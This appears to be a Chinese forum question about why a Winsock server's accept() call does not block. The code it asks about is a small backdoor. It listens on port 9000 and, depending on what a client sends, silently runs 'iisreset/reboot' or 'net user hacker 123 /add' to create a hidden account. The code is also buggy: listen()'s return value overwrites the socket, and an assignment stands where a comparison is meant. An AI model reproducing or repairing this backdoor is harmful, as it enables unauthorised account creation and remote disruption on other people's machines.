关于socket的accept函数的阻塞问题
#include<stdio.h>
#include<winsock2.h>
#include<string.h>
#pragma comment(lib,"ws2_32.lib")
char Buff[2048];
int main(int argc,char argv[])
{
WSADATA wsa;
SOCKET listenFD;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(9000);
server.sin_addr.s_addr=ADDR_ANY;
bind(listenFD,(sockaddr *)&server,sizeof(server));
listenFD=listen(listenFD,2);
printf("\n Listen is OK!");
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
printf("\n Accept aconnect in ");
recv(clientFD,Buff,2048,0);
int i=strcmp(Buff,"reset");
if(i=0)
{
WinExec("iisreset/reboot",SW_HIDE);
}
else
{
WinExec("net user hacker 123 /add",SW_HIDE);
}
WSACleanup();
return 0;
}
为什么我编的这个服务端accept函数没有阻塞,而是直接运行下去了,我还没有从客户端进行连接